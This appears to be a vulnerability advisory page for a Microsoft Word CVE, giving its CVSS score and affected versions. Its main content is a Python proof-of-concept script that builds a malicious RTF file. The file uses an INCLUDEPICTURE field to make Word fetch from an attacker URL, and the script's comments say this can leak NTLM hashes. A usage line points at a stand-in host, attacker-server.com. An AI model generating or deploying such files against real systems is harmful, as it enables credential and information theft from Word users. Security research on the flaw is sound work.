External control of file name or path in Microsoft Office Word allows an unauthorized attacker to disclose information over a network.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
Microsoft Word 2016
Microsoft Word 2019
Microsoft Word 2021
Microsoft Office 365
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-40421
# Creates a malicious RTF file exploiting external path control
def generate_malicious_rtf(output_file, attacker_url):
# RTF header
rtf_header = r"{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}"
rtf_header += r"{\*\generator Riched20 26.0.0.0;}\viewkind4\uc1\pard\f0\fs24 "
# Payload: External control of file name/path
# Using INCLUDEPICTURE to force Word to fetch a resource from attacker_url
# This can leak NTLM hashes or local file content depending on configuration
payload = r"{\field{\*\fldinst INCLUDEPICTURE \"" + attacker_url + r"\" \\d }}"
rtf_footer = r"\par}"
with open(output_file, 'w') as f:
f.write(rtf_header + payload + rtf_footer)
# Usage example:
# generate_malicious_rtf('exploit.rtf', 'http://attacker-server.com/leak')